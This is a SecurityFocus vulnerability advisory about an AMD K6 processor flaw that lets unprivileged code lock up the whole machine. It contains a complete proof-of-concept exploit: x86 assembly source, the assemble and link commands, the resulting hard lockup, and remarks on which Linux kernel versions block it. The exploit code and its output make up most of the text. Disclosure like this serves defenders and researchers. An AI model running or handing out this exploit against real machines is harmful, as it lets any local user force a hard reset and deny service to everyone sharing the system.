source: http://www.securityfocus.com/bid/105/info

A bug in Advance Micro Devices K6 processor allows non-privileged
code to crash the machine.

Under Linux 2.1.x a bug stops this vulnerability.

$ cat a.s
.text
.align 4096 /* r1 */
.globl _start
_start:
movl _start, %edi /* S1 */
cmpb 0x80000000(%edi),%dl /* r2, S2 */
je nowhere /* r3 */
ret
$ as -o a.o a.s
$ ld -defsym nowhere=0xc0000000 a.o
$ ./a.out
<lockup. hard reset required>

Remarks :
r1) _start must be aligned, otherwise you get a segfault instead of a lockup.
r2) Using movb instead of compb does not work.
r3) Tries to escape the code segment. Before Linux 2.1.43, the code segments ended 
at bfffffff. After and including 2.1.43, escaping is not possible, because
the code segment covers the whole address space (reducing this segment
to 3.75 GB allows to trigger the bug on 2.1.103).

Speculations :
S1) edi must be loaded with the address of something in a deep cache on the 
CPU. _start works well.
S2) tries to access an invalid address. This address should look like an 
already cached address. If only the highest bits are different, it is
probably more difficult to notice that the address is not really cached.
So using _start+0x80000000 works well.